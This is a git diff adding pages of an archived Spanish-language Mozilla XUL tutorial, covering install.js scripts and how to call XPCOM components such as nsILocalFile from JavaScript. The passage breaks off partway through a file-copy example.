+<ul><li><a href="es/Tutorial_de_XUL/Creando_una_ventana">Creando una ventana</a>
+</li><li><a href="es/Tutorial_de_XUL/A%c3%b1adiendo_botones">Añadiendo botones</a>
+</li><li><a href="es/Tutorial_de_XUL/A%c3%b1adiendo_etiquetas_e_imagenes">Añadiendo etiquetas e imágenes</a>
+</li><li><a href="es/Tutorial_de_XUL/Controles_de_entrada">Controles de entrada</a>
+</li><li><a href="es/Tutorial_de_XUL/Controles_de_listas">Controles de listas</a>
+</li><li><a href="es/Tutorial_de_XUL/Medidores_de_Progreso">Medidores de progreso</a>
+</li><li><a href="es/Tutorial_de_XUL/A%c3%b1adiendo_elementos_HTML">Añadiendo elementos HTML</a>
+</li><li><a href="es/Tutorial_de_XUL/Usando_espaciadores">Usando espaciadores</a>
+</li><li><a href="es/Tutorial_de_XUL/M%c3%a1s_caracter%c3%adsticas_de_los_botones">Más características de los botones</a>
+</li></ul>
+<h3 id="El_modelo_de_caja" name="El_modelo_de_caja"> El modelo de caja </h3>
+<ul><li><a href="es/Tutorial_de_XUL/El_modelo_de_caja">El modelo de caja</a>
+</li><li><a href="es/Tutorial_de_XUL/Posicionamiento_de_elementos_de_la_ventana">Posicionamiento de elementos de la ventana</a>
+</li><li><a href="es/Tutorial_de_XUL/Detalles_del_modelo_de_caja">Detalles del modelo de caja</a>
+</li><li><a href="es/Tutorial_de_XUL/Cajas_de_grupo">Cajas de grupo</a>
+</li><li><a href="es/Tutorial_de_XUL/A%c3%b1adiendo_m%c3%a1s_elementos">Añadiendo más elementos</a>
+</li></ul>
+<h3 id="M.C3.A1s_elementos_de_dise.C3.B1o" name="M.C3.A1s_elementos_de_dise.C3.B1o"> Más elementos de diseño </h3>
+<ul><li><a href="es/Tutorial_de_XUL/Apilado_y_plataforma">Apilado y plataforma <small>(stacks and decks)</small></a>
+</li><li><a href="es/Tutorial_de_XUL/Indicadores_de_progreso">Indicadores de progreso</a>
+</li><li><a href="es/Tutorial_de_XUL/Contenedores_de_pesta%c3%b1as">Contenedores de pestañas</a>
+</li><li><a href="es/Tutorial_de_XUL/Rejillas">Cuadrículas</a>
+</li><li><a href="es/Tutorial_de_XUL/Paneles_de_contenidos">Paneles de contenidos</a>
+</li><li><a href="es/Tutorial_de_XUL/Divisores">Divisores</a>
+</li><li><a href="es/Tutorial_de_XUL/Barras_de_desplazamiento">Barras de desplazamiento</a>
+</li></ul>
+<h3 id="Barra_de_herramientas_y_men.C3.BAes" name="Barra_de_herramientas_y_men.C3.BAes">Barra de herramientas y menús</h3>
+<ul> <li><a href="/es/Tutorial_de_XUL/Barra_de_Herramientas" title="es/Tutorial_de_XUL/Barra_de_Herramientas">Barra de herramientas</a></li> <li><a href="/es/Tutorial_de_XUL/Menús_de_Barras_Simples" title="es/Tutorial de XUL/Menús de Barras Simples">Menús de barras simples</a></li> <li><a href="/es/Tutorial_de_XUL/Más_funciones_de_menú" title="es/Tutorial_de_XUL/Más_funciones_de_menú">Más funciones de menú</a></li> <li><a href="/es/Tutorial_de_XUL/Menús_emergentes" title="es/Tutorial de XUL/Menús emergentes">Menús emergentes</a></li> <li><a href="/es/Tutorial_de_XUL/Menús_con_desplazamiento" title="es/Tutorial de XUL/Menús con desplazamiento">Menús con desplazamiento</a></li>
+</ul><h3 id="Eventos_y_scripts" name="Eventos_y_scripts"> Eventos y scripts </h3>
+<ul><li><a href="es/Tutorial_de_XUL/A%c3%b1adiendo_los_gestores_de_eventos">Añadiendo los gestores de eventos</a>
+</li><li><a href="es/Tutorial_de_XUL/M%c3%a1s_gestores_de_eventos">Más gestores de eventos</a>
+</li><li><a href="es/Tutorial_de_XUL/Atajos_de_teclado">Atajos de teclado</a>
+</li><li><a href="es/Tutorial_de_XUL/Foco_y_Selecci%c3%b3n">Foco y selección</a>
+</li><li><a href="es/Tutorial_de_XUL/Comandos">Comandos</a>
+</li><li><a href="es/Tutorial_de_XUL/Actualizar_comandos">Actualizar comandos</a>
+</li><li><a href="es/Tutorial_de_XUL/Emisores_y_receptores">Emisores y receptores</a>
+</li></ul>
+<h3 id="Modelo_de_objeto_de_documento" name="Modelo_de_objeto_de_documento"> Modelo de objeto de documento </h3>
+<ul><li> <a href="es/Tutorial_de_XUL/Modelo_de_objeto_de_documento">Modelo de objeto de documento</a>
+</li><li> <a href="es/Tutorial_de_XUL/Modificando_una_interfaz_XUL">Modificando una interfaz XUL</a>
+</li><li> <a href="es/Tutorial_de_XUL/Manipulando_listas">Manipulando listas</a>
+</li><li> <a href="es/Tutorial_de_XUL/Objectos_de_caja">Objectos de caja</a>
+</li><li> <a href="es/Tutorial_de_XUL/Interfaces_XPCOM">Interfaces XPCOM</a>
+</li><li> <a href="es/Tutorial_de_XUL/Ejemplos_XPCOM">Ejemplos XPCOM</a>
+</li></ul>
+<h3 id=".C3.81rboles" name=".C3.81rboles"> Árboles </h3>
+<ul><li> <a href="es/Tutorial_de_XUL/%c3%81rboles">Árboles</a>
+</li><li> <a href="es/Tutorial_de_XUL/M%c3%a1s_caracter%c3%adsticas_de_los_%c3%a1rboles">Más características de los árboles</a>
+</li><li> <a href="es/Tutorial_de_XUL/Selecci%c3%b3n_en_un_%c3%a1rbol">Selección en un árbol</a>
+</li><li> <a href="es/Tutorial_de_XUL/Detalles_de_Vistas_de_un_%c3%a1rbol">Detalles de vistas de un árbol</a>
+</li><li> <a href="es/Tutorial_de_XUL/Objeto_de_caja_de_%c3%a1rbol">Objeto de caja de árbol</a>
+</li></ul>
+<h3 id="Plantillas_y_RDF" name="Plantillas_y_RDF"> Plantillas y RDF </h3>
+<ul><li> <a href="es/Tutorial_de_XUL/Introducci%c3%b3n_a_RDF">Introducción a RDF</a>
+</li><li> <a href="es/Tutorial_de_XUL/Plantillas">Plantillas</a>
+</li><li> <a href="es/Tutorial_de_XUL/%c3%81rboles_y_plantillas">Árboles y plantillas</a>
+</li><li> <a href="es/Tutorial_de_XUL/Fuentes_de_datos_RDF">Fuentes de datos RDF</a>
+</li><li> <a href="es/Tutorial_de_XUL/Reglas_avanzadas">Reglas avanzadas</a>
+</li><li> <a href="es/Tutorial_de_XUL/Datos_persistentes">Datos persistentes</a>
+</li></ul>
+<h3 id="Aspectos.2Ftemas_y_configuraci.C3.B3n" name="Aspectos.2Ftemas_y_configuraci.C3.B3n"> Aspectos/temas y configuración </h3>
+<ul><li> <a href="es/Tutorial_de_XUL/A%c3%b1adiendo_hojas_de_estilo">Añadiendo hojas de estilo</a>
+</li><li> <a href="es/Tutorial_de_XUL/Estilizando_un_%c3%a1rbol">Estilizando un árbol</a>
+</li><li> <a href="es/Tutorial_de_XUL/Modificando_el_aspecto_por_defecto">Modificando el aspecto/tema por defecto</a>
+</li><li> <a href="es/Tutorial_de_XUL/Creando_un_aspecto">Creando un aspecto/tema</a>
+</li><li> <a href="es/Tutorial_de_XUL/Localizaci%c3%b3n">Localización</a>
+</li><li> <a href="es/Tutorial_de_XUL/Archivos_de_propiedad">Archivos de propiedad</a>
+</li></ul>
+<h3 id="Vinculaciones" name="Vinculaciones"> Vinculaciones </h3>
+<ul><li> <a href="es/Tutorial_de_XUL/Introducci%c3%b3n_al_XBL">Introducción al XBL</a>
+</li><li> <a href="es/Tutorial_de_XUL/Contenido_an%c3%b3nimo">Contenido anónimo</a>
+</li><li> <a href="es/Tutorial_de_XUL/Herencia_de_atributos_XBL">Herencia de atributos XBL</a>
+</li><li> <a href="es/Tutorial_de_XUL/A%c3%b1adiendo_propiedades">Añadiendo propiedades</a>
+</li><li> <a href="es/Tutorial_de_XUL/A%c3%b1adiendo_m%c3%a9todos">Añadiendo métodos</a>
+</li><li> <a href="es/Tutorial_de_XUL/A%c3%b1adiendo_gestores_de_eventos">Añadiendo gestores de eventos</a>
+</li><li> <a href="es/Tutorial_de_XUL/Herencia_en_XBL">Herencia en XBL</a>
+</li><li> <a href="es/Tutorial_de_XUL/Ejemplo_de_XBL">Ejemplo de XBL</a>
+</li></ul>
+<h3 id="Tipos_de_ventanas_especializadas" name="Tipos_de_ventanas_especializadas"> Tipos de ventanas especializadas </h3>
+<ul><li> <a href="es/Tutorial_de_XUL/Caracter%c3%adsticas_de_una_ventana">Características de una ventana</a>
+</li><li> <a href="es/Tutorial_de_XUL/Creando_Di%c3%a1logos">Creando diálogos</a>
+</li><li> <a href="es/Tutorial_de_XUL/Di%c3%a1logos_Abrir_y_Guardar">Diálogos abrir y guardar</a>
+</li><li> <a href="es/Tutorial_de_XUL/Creando_un_asistente">Creando un asistente</a>
+</li><li> <a href="es/Tutorial_de_XUL/M%c3%a1s_asistentes">Más asistentes</a>
+</li><li> <a href="es/Tutorial_de_XUL/Presentaci%c3%b3n">Presentación</a>
+</li><li> <a href="es/Tutorial_de_XUL/Presentaci%c3%b3n_din%c3%a1mica">Presentación dinámica</a>
+</li></ul>
+<h3 id="Instalaci.C3.B3n" name="Instalaci.C3.B3n"> Instalación </h3>
+<ul><li> <a href="es/Tutorial_de_XUL/Creando_un_instalador">Creando un instalador</a>
+</li><li> <a href="es/Tutorial_de_XUL/Instalando_Scripts">Instalando scripts</a>
+</li><li> <a href="es/Tutorial_de_XUL/Caracter%c3%adsticas_adicionales_de_la_instalaci%c3%b3n">Características adicionales de la instalación</a>
+</li></ul>
+<div class="originaldocinfo">
+<h3 id="Informaci.C3.B3n_original_del_documento" name="Informaci.C3.B3n_original_del_documento">Información original del documento</h3>
+<ul> <li>Autor: <a class="external" href="http://www.xulplanet.com/ndeakin/">Neil Deakin</a></li> <li>Última modificación: 3 de Junio de 2005</li> <li>Copyright: © 1999-2005 XULPlanet.com</li>
+</ul></div>
+<div class="noinclude">
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/instalando_scripts/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/instalando_scripts/index.html
new file mode 100644
index 0000000000..80db82b861
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/instalando_scripts/index.html
@@ -0,0 +1,80 @@
+---
+title: Instalando Scripts
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Instalando_Scripts
+tags:
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Install_Scripts
+---
+<p> </p>
+<p>Esta sección describe el script de instalación.</p>
+<h3 id="Creando_un_script_de_instalaci.C3.B3n" name="Creando_un_script_de_instalaci.C3.B3n">Creando un script de instalación</h3>
+<p>Usted deseará generalmente alguna forma de control sobre el proceso de instalacion. Por ejemplo, usted puede desear comprobar versiones de archivos e instalar solamente archivos actualizados, o quizás usted desea aplicar parches a los archivos existentes. El script de instalación es lo suficiente flexible para permitirle desinstalar archivos. Por esta razón, los instaladores incluyen un script de instalación para manejar el proceso de la instalación.</p>
+<p>El script de instalación se debe llamar install.js y se debe colocar en el nivel superior del archivo del instalador. El script contendrá código Javascript que ejecutará varias funciones de instalación.</p>
+<p>En un documento HTML, o un documento XUL, el objeto <code>window</code> es el objeto global de la raíz. Eso significa que usted puede llamar los métodos del objeto <code>window</code> sin usar el calificador antes de la llamada, lo que significa que window.open(…) se puede escribir simplemente open(…). En un script de instalación, no hay ventana asociada, sin embargo el objeto global será un objeto <code>Install</code> que contiene varias funciones para personalizar el proceso de instalación. Algunas de las funciones del objeto <code>Install</code> serán descritas abajo.</p>
+<p>El script de instalación debe seguir los siguientes pasos:</p>
+<ol>
+ <li>Inicie la instalación especificando qué paquete y versión está siendo instalada.</li>
+ <li>Utilice las funciones de instalación para indicar qué archivos y directorios necesitan ser instalados. Usted puede también fijar los archivos que se moverán y serán suprimidos.</li>
+ <li>Comience el proceso de instalar los archivos necesarios.</li>
+</ol>
+<p>Es importante observar que durante el paso dos, usted indica solamente qué archivos deben ser instalados y que suceda cualquier otra operación que usted desee. Ningún archivo se copia hasta el paso tres. Debido a esto, usted puede especificar fácilmente un número de archivos que se instalarán, viene a través de una cierta clase de error, y aborta el proceso entero sin la modificación del sistema del usuario.</p>
+<h3 id="El_Registro_de_Componentes" name="El_Registro_de_Componentes">El Registro de Componentes</h3>
+<p>Mozilla mantiene un archivo que es un registro de todos los componentes que están instalados actualmente. Los componentes incluyen los nuevos paquetes de chrome, skins y extensiones. Cuando un nuevo componente es instalado, el registro se actualiza. El registro almacena los archivos y la información de versión de los componentes instalados. De esa forma, es más fácil comprobar si una versión de su componente está presente y actualizarlo solamente en caso de necesidad.</p>
+<p>Los componentes del registro trabajan como el registro de Windows. Consiste en una jerarquía de llaves y de valores. Usted no necesita saber mucho sobre eso para crear aplicaciones XUL a menos que usted esté creando sus propios componentes XPCOM.</p>
+<p>Lo qué usted necesita saber para una instalación es que el registro almacena un sistema de información sobre su aplicación, tal como la lista del archivo y las versiones. Toda esta información se almacena en una llave (y dentro de subkeys) que usted proporciona en la escritura de la instalación (en el paso 1 mencionado arriba).</p>
+<p>Esta llave esta estructurada como un directorio de la trayectoria de la forma siguiente:</p>
+<pre>/Author/Package Nombre
+</pre>
+<p>Substituya la palabra Author por su nombre y substituya el nombre del paquete por el nombre del paquete que usted está instalando. Por ejemplo:</p>
+<pre>/Xulplanet/Find Files
+
+/Netscape/Personal Security Manager
+</pre>
+<p>El primer ejemplo es el que utilizaremos para el diálogo de búsqueda de archivos. El segundo es la llave usada para el Personal Security Manager.</p>
+<h3 id="Iniciar_la_Instalaci.C3.B3n" name="Iniciar_la_Instalaci.C3.B3n">Iniciar la Instalación</h3>
+<p>El objeto <code>Install</code> tiene una función, initInstall, que se puede utilizar para iniciar la instalación. Debe ser ejecutada al principio de su script de instalación. La sintaxis de esta función es como sigue:</p>
+<p>initInstall( packageName , regPackage , version );</p>
+<p><b>Ejemplo:</b></p>
+<p>initInstall("Find Files","/Xulplanet/Find Files","0.5.0.0");</p>
+<p>El primer parámetro es el nombre del paquete en forma legible. El segundo parámtro es la llave del registro usada para guardar la información del paquete según lo descrito antes. El tercer parámetro es la versión del paquete que esta siendo instalado.</p>
+<p>Después, necesitamos definir el directorio donde serán instalados los archivos. Hay dos maneras de hacer esto. El método simple asigna un directorio de la instalación e instala todos los archivos en él. El segundo método permite que usted asigne una destinación basándose en el archivo-por-archivo (o directorio). El primer método se describe abajo.</p>
+<p>La función setPackageFolder asigna un directorio de la instalación. Para el diálogo de búsqueda de archivos, instalaremos los archivos en el directorio chrome. (realmente podría ponerlos dondequiera.) El setPackageFolder toma una discusión, el directorio donde sera instalado. Para una máxima portabilidad, usted no puede especificar una cadena de caracteres para el directorio. En lugar de eso, usted especifica un identificador de un directorio conocido y abre subdirectorios de él. Así, si sus aplicaciones necesitan instalar algunas bibliotecas de sistema, usted no necesitará saber el nombre de esos directorios.</p>
+<p>Los identificadores de directorio se enumeran en <a class="external" href="http://www.xulplanet.com/references/elemref/ref_Install.html#prop_getFolder">XULPlanet reference</a>. Para el directorio chrome, el identificador del directorio es 'Chrome'. La función getFolder se puede utilizar para conseguir uno de estos directorios especiales. Esta función tiene dos parámetros, el primero es el identificador y el segundo es un subdirectorio. Por ejemplo:</p>
+<pre>findDir = getFolder("Chrome","findfile");
+setPackageFolder(findDir);
+</pre>
+<p>Aquí, conseguimos la carpeta findfile en la carpeta chrome y la pasamos directamente a la función del setPackageFolder. La segunda discusión al getFolder es el subdirectorio en el cual vamos a instalar, que no tiene que existir. Usted puede dejar esta discusión enteramente afuea si usted no necesita uno.</p>
+<h3 id="Especificar_los_archivos_a_instalar" name="Especificar_los_archivos_a_instalar">Especificar los archivos a instalar</h3>
+<p>Después, usted necesita especificar qué archivos deben ser instalados. Esto implica el uso de dos funciones, addDirectory y addFile. La función addDirectory le dice al instalador que un directorio del archivo XPI (y de todo su contenido) debe ser instalado a un lugar particular. El addFile es similar pero para un solo archivo.</p>
+<p>Las funciones addDirectory y addFile tienen varias formas. Las más simples solo tienen una discusión, el directorio del instalador para instalar al directorio asignado de la instalación.</p>
+<p>addDirectory ( dir ); addFile ( dir );</p>
+<p><b>Ejemplo:</b></p>
+<p>addDirectory("findfile");</p>
+<p>El ejemplo anterior especificará que el directorio findfile del archivo del instalador debe ser instalado. Podemos llamar estas funciones múltiples veces para instalar otros archivos.</p>
+<p>Después, desearemos colocar los archivos de busqeuda en el sistema del chrome para poderlo utilizar con un cromo URL. Esto se puede hacer con la función registerChrome. Toma dos discusiones, el primero es el tipo de chrome a colocarse (contenido, skin o ‘locale’). El segundo es el directorio que contiene el archivo de contents.rdf para colocarse. Porque el diálogo de los archivos de busqueda tiene contenido, un archivo skin y un archivo ‘locale’, el registerChrome necesitará ser abierto tres veces.</p>
+<pre>registerChrome(Install.CONTENT | Install.DELAYED_CHROME, getFolder(findDir, "content"));
+registerChrome(Install.SKIN | Install.DELAYED_CHROME, getFolder(findDir, "skin"));
+registerChrome(Install.LOCALE | Install.DELAYED_CHROME, getFolder(findDir, "locale"));
+</pre>
+<p>La bandera de DELAYED_CHROME se utiliza para indicar que el cromo debe ser instalado la próxima vez Mozilla está funcionado.</p>
+<h3 id="Terminar_la_Instalaci.C3.B3n" name="Terminar_la_Instalaci.C3.B3n">Terminar la Instalación</h3>
+<p>Las funciones addDirectory y addFile no copian ningun archivo. Indican solamente qué archivos deben ser instalados. Semejantemente, el registerChrome indica solamente que el chrome debe ser colocado. Para terminar el proceso y para comenzar a copiar archivos, abra la función performInstall. No toma ninguna discusión.</p>
+<p>el script final para instalar el componente de búsqueda de archivos se muestra abajo:</p>
+<div class="highlight">
+ <h4 id="Ejemplo" name="Ejemplo">Ejemplo</h4>
+ <pre>initInstall("Find Files","/Xulplanet/Find Files","0.5.0.0");
+
+findDir = getFolder("Chrome","findfile");
+setPackageFolder(findDir);
+
+addDirectory("findfile");
+
+registerChrome(Install.CONTENT | Install.DELAYED_CHROME, getFolder(findDir, "content"));
+registerChrome(Install.SKIN | Install.DELAYED_CHROME, getFolder(findDir, "skin"));
+registerChrome(Install.LOCALE | Install.DELAYED_CHROME, getFolder(findDir, "locale"));
+
+performInstall();
+</pre>
+</div>
+<p>A continuación veremos algunas funciones adicionales de instalación</p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/interfaces_xpcom/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/interfaces_xpcom/index.html
new file mode 100644
index 0000000000..5965efa462
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/interfaces_xpcom/index.html
@@ -0,0 +1,132 @@
+---
+title: Interfaces XPCOM
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Interfaces_XPCOM
+tags:
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/XPCOM_Interfaces
+---
+<p> </p>
+<p>En esta sección, vamos a echar un pequeño vistazo a XPCOM (Cross-platform Component Object Model o Modelo de Objeto de Componentes Multiplataforma), el sistema de objetos que utiliza Mozilla.</p>
+<h3 id="Llamando_a_Objetos_Nativos" name="Llamando_a_Objetos_Nativos">Llamando a Objetos Nativos</h3>
+<p>Usando XUL podemos construir una interfaz de usuario compleja. Podemos asociarle scripts que modificarán la interfaz y ejecutarán tareas. Pero hay bastantes cosas que no podemos hacer directamente con JavaScript. Por ejemplo, si quisieramos crear una aplicación de correo, necesitaríamos escribir scripts que se conectaran con los servidores de correo para obtener el correo y mandarlo. Pero JavaScript no puede hacer esta clase de cosas.</p>
+<p>La única forma de llevar a cabo estas tareas sería escribiendo código nativo. También necesitaríamos una forma de que nuestros scripts pudieran comunicarse con el código nativo de forma sencilla. Mozilla nos proporciona todo esto con XPCOM (Modelo de Objeto de Componentes Multiplataforma).</p>
+<h3 id="Acerca_de_XPCOM" name="Acerca_de_XPCOM">Acerca de XPCOM</h3>
+<p>Mozilla está construido mediante una colección de componentes, cada uno de ellos responsable de ejecutar una cierta tarea. Por ejemplo, hay un componente para cada menú, botón y elemento. Estos componentes se construyen a partir de un conjunto de definiciones llamadas interfaces.</p>
+<p>Una interfaz en Mozilla es una definición de un conjunto de funcionalidades que pueden ser implementadas mediante componentes. Los componentes son los encargados de implementar el código que ejecuta las distintas tareas en Mozilla. Cada componente implementa la funcionalidad tal como está descrita en la interfaz. Un único componente puede implementar múltiples interfaces. Y varios componentes pueden implementar la misma interfaz.</p>
+<p>Tomemos el ejemplo de un supuesto componente archivo. Se necesitaría crear una interfaz que describiera las propiedades y funciones que pueden realizarse sobre los archivos. Un archivo necesitaría propiedades para almacenar su nombre, la fecha de modificación y su tamaño. Entre las funciones del archivo podríamos incluir movernos por el archivo, copiarlo o borrarlo.</p>
+<p>La interfaz Archivo solo describe las características de un archivo, no las implementa. La implementación de la interfaz Archivo es tarea del componente. El componente tendrá código que será capaz de obtener el nombre del archivo, la fecha y su tamaño. Además, tendrá código que permita copiarlo y renombrarlo.</p>
+<p>Mientras implemente la interfaz correctamente, no nos preocupa cómo hace todas estas cosas. Evidentemente, necesitaremos diferentes implementaciones, una para cada plataforma. Las versiones de un componente archivo en Windows y Macintosh serán bastante diferentes. De todas formas, ambas implementarán la misma interfaz. Por lo tanto, podemos utilizar un componente accediendo a las funciones que conocemos de la interfaz.</p>
+<p>En Mozilla, el nombre de las interfaces viene precedido de ‘nsI’ de forma que sean facilmente reconocibles. Por ejemplo, nsIAddressBook es la interfaz que se utiliza para interaccionar con una libreta de direcciones (address book), nsISound se utiliza para reproducir sonidos y nsILocalFile se utiliza para manejo de archivos.</p>
+<p>Los componentes XPCOM suelen implementarse con código nativo, lo que significa que normalmente pueden hacer cosas que JavaScript no puede por sí mismo. Existe una forma sencilla de llamar a este código nativo, que veremos dentro de poco. Podemos ejecutar cualquiera de las funciones proporcionadas por el componente tal como se describe en las interfaces que implementa. Por ejemplo, una vez que tenemos un componente, podemos comprobar si implementa nsISound, y, si es el caso, podemos reproducir sonidos a través de él.</p>
+<p>El proceso de llamar a XPCOM desde un script se realiza a través de XPConnect, una capa que traduce los objetos de script en objetos nativos.</p>
+<h3 id="Creando_Objetos_XPCOM" name="Creando_Objetos_XPCOM">Creando Objetos XPCOM</h3>
+<p>Hay tres pasos a seguir a la hora de llamar a un componente XPCOM.</p>
+<ol>
+ <li>Obtener el componente</li>
+ <li>Obtener la parte del componente que implementa la interfaz que queremos utilizar.</li>
+ <li>Llamar a la función que necesitamos</li>
+</ol>
+<p>Una vez que se han llevado a cabo los dos primeros pasos, podemos repetir el último paso tantas veces como sea necesario. Digamos que queremos renombrar un archivo. Para eso podemos utilizar la interfaz nsILocalFile. El primer paso es obtener un componente archivo. Después, hacemos una petición al componente y obtenemos la porción que implementa la interfaz nsILocalFile. Por último, llamamos a las funciones proporcionadas por la interfaz. Esta interfaz se utiliza para representar un único archivo.</p>
+<p>Hemos visto que las interfaces siempre se nombran comenzando con ‘nsI’. Los componentes, por otra parte, se referencian utilizando una sintaxis URI. Mozilla almacena una lista de todos los componentes disponibles en su propio registro. Un usuario puede instalar nuevos componentes si lo desea. Todo esto funciona de forma muy parecida a los plug-ins.</p>
+<p>Mozilla proporciona un componente archivo, es decir, un componente que implementa nsILocalFile. Este componente puede ser referenciado para ser utilizado usando la URI ‘@mozilla.org/file/local;1’. Para especificar un determinado componente se utiliza la forma componente: URI. Se puede referenciar otros componentes de forma similar.</p>
+<p>Se puede utiliar esta URI para obtener el componente. Para obtener un componente podemos utilizar un código JavaScript similar al siguiente:</p>
+<pre>var unArchivo = Components.classes["@mozilla.org/file/local;1"].createInstance();
+</pre>
+<p>Se obtiene el componente archivo y éste se almacena en la variable unArchivo.</p>
+<p>La palabra clave <code>Components</code> del ejemplo anterior hace referencia a un objeto general que proporciona algunas funciones relacionadas con componentes. En este caso, obtenemos la clase de un componente a partir de la propiedad <code>classes</code>. La propiedad <code>classes</code> es un vector de todos los componentes disponibles. Para obtener un componente diferente, simplemente tendrías que reemplazar la URI de este componente por la del componente que quieras utilizar. Por último, se crea una instancia con la función <code>createInstance</code>.</p>
+<p>Deberías comprobar el valor de retorno de <code>createInstance</code> para asegurarte de que no sea null, lo que indicaría que el componente no existe.</p>
+<p>Llegados a este punto tenemos solo una referencia al componente archivo en sí. Para poder llamar a sus funciones necesitamos obtener una de sus interfaces, en este caso nsILocalFile. Necesitamos añadir una segunda línea de código:</p>
+<pre>var unArchivo = Components.classes["@mozilla.org/file/local;1"].createInstance();
+if (unArchivo) unArchivo.QueryInterface(Components.interfaces.nsILocalFile);
+</pre>
+<p><code>QueryInterface</code> es una función proporcionada por todos los componentes que puede ser utilizada para obtener una interfaz específica de ese componente. Esta función toma un solo parámetro, la interfaz que queremos obtener. La propiedad <code>interfaces</code> del objeto <code>Components</code> contiene una lista de todas las interfaces disponibles. En este caso, utilizamos la interfaz nsILocalFile y la pasamos como parámetro a <code>QueryInterface</code>. El resultado es que unArchivo será una referencia a la parte del componente que implementa la interfaz nsILocalFile.</p>
+<p>Las dos líneas de JavaScript anteriores pueden ser utilizadas para obtener cualquier interfaz de un componente. Simplemente reemplaza el nombre del componente con el nombre del componente que quieras utilizar y sustituye también el nombre de la interfaz. Por supuesto, también puedes utilizar cualquier nombre de variable. Por ejemplo, para obtener una interfaz sonido, puedes hacer lo siguiente:</p>
+<pre>var sonido = Components.classes["@mozilla.org/sound;1"].createInstance();
+if (sonido) sonido.QueryInterface(Components.interfaces.nsISound);
+</pre>
+<p>Las interfaces XPCOM pueden heredar de otras interfaces. Las interfaces que heredan de otras tienen sus propias funciones y las funciones de todas las interfaces de las que heredan. Todas las interfaces heredan de una interfaz raíz llamada nsISupports. En esta interfaz se define la función <code>QueryInterface</code>, que ya hemos visto. Dado que todos los componentes implementan la interfaz nsISupports, la función <code>QueryInterface</code> está disponible en todos los componentes.</p>
+<p>Varios componentes distintos pueden implementar la misma interfaz. Normalmente, suelen ser subclases de la original pero no es necesario. Cualquier componente puede implementar la funcionalidad de nsILocalFile. Además, un componente puede implementar varias interfaces. Por esto es por lo que se necesitan dos pasos a la hora de obtener una interfaz con la que llamar a las funciones.</p>
+<p>De todas formas, existe un atajo que podemos utilizar dado que estas dos líneas se utilizan tan amenudo:</p>
+<pre>var aLocalFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
+</pre>
+<p>Esto tiene el mismo efecto que las dos líneas anteriores pero en una sola línea de código, lo cual elimina la necesidad de crear la instancia y pedir una interfaz en dos pasos distintos.</p>
+<p>Si llamas a <code>QueryInterface</code> sobre un objeto y la interfaz pedida no está soportada por el objeto, se lanza una excepción. Si no estas seguro de si un componente soporta una determinada interfaz, puedes utilizar el operador instanceof para comprobarlo:</p>
+<pre>var unArchivo = Components.classes["@mozilla.org/file/local;1"].createInstance();
+if (unArchivo instanceof Components.interfaces.nsILocalFile){
+  // hacer algo
+}
+</pre>
+<p>El operador instanceof devuelve verdadero si unArchivo implementa la interfaz nsILocalFile. Esto tiene el efecto secundario de llamar a <code>QueryInterface</code>, de forma que unArchivo será un nsILocalFile después.</p>
+<h3 id="Llamando_a_las_Funciones_de_una_Interfaz" name="Llamando_a_las_Funciones_de_una_Interfaz">Llamando a las Funciones de una Interfaz</h3>
+<p>Ahora que tenemos un objeto que referencia un componente con la interfaz nsILocalFile, podemos llamar a las funciones de nsILocalFile a través de él. La tabla siguiente muestra alguna de las propiedades y métodos de la interfaz nsILocalFile.</p>
+<p>Propiedad / método Descripción</p>
+<dl>
+ <dt>
+  initWithPath </dt>
+ <dd>
+  Este método se utiliza para inicializar la ruta y el nombre de archivo para nsILocalFile. El primer parámetro debería ser la ruta del archivo, como ‘/usr/local/mozilla’</dd>
+ <dt>
+  leafName  </dt>
+ <dd>
+  El nombre de archivo sin la parte del directorio</dd>
+ <dt>
+  fileSize </dt>
+ <dd>
+  El tamaño del directorio</dd>
+ <dt>
+  isDirectory() </dt>
+ <dd>
+  Devuelve verdadero si nsILocalFile representa un directorio</dd>
+ <dt>
+  delete(recursivo) </dt>
+ <dd>
+  Borra un archivo. Si el parámetro recursivo es true, también permite borrar un directorio y todos sus archivos y subdirectorios.</dd>
+ <dt>
+  copyTo(directorio,nuevonombre) </dt>
+ <dd>
+  Copia un archivo a otro directorio, puede usarse también para renombrar el archivo. El parámetro directorio debería ser un nsILocalFile que sirva como apuntador del directorio donde se quiere copiar el archivo.</dd>
+ <dt>
+  moveTo(directorio,nuevonombre) </dt>
+ <dd>
+  Permite mover un archivo a otro directorio, o renombrar el archivo. El parámetro directorio debería ser un nsILocalFile apuntando al directorio al que se quiere mover el archivo.</dd>
+</dl>
+<p>Para borrar un archivo primero tenemos que asignarlo al nsILocalFile. Podemos llamar al método <code>initWithPath</code> para indicar el archivo al que nos referimos. Simplemente asigna la ruta del archivo a su propiedad. Después, llamamos a la función <code>delete</code>. Esta función toma un parámetro que indica si debe borrar de forma recursiva. El siguiente código sirve como demostración de estos dos pasos:</p>
+<pre>var unArchivo = Components.classes["@mozilla.org/file/local;1"].createInstance();
+if (unArchivo instanceof Components.interfaces.nsILocalFile){
+  unArchivo.initWithPath("/mozilla/archivoprueba.txt");
+  unArchivo.delete(false);
+}
+</pre>
+<p>Este código obtiene el archivo de /mozilla/testfile.txt y lo borra. Prueba este ejemplo añadiendo este código a un manejador de evento. Deberías cambiar el nombre de archivo a un archivo existente en tu sistema de archivos y que quieras borrar.</p>
+<p>En la tabla de funciones anterior, verás dos funciones <code>copyTo</code> y <code>moveTo</code>. Estas dos funciones puede ser utilizadas para copiar archivos y mover archivos respectivamente. Ten en cuenta que estos no toman una cadena de caracteres como parámetro indicando el directorio al que copiar o mover el archivo, si no un nsILocalFile. Esto significa que tendrás que obtener dos componentes archivo. El siguiente ejemplo muestra como copiar un archivo.</p>
+<pre>function copiarArchivo(archivofuente,dirdestino)
+{
+  // obtenemos un componente para el archivo a copiar
+  var unArchivo = Components.classes["@mozilla.org/file/local;1"]
+    .createInstance(Components.interfaces.nsILocalFile);
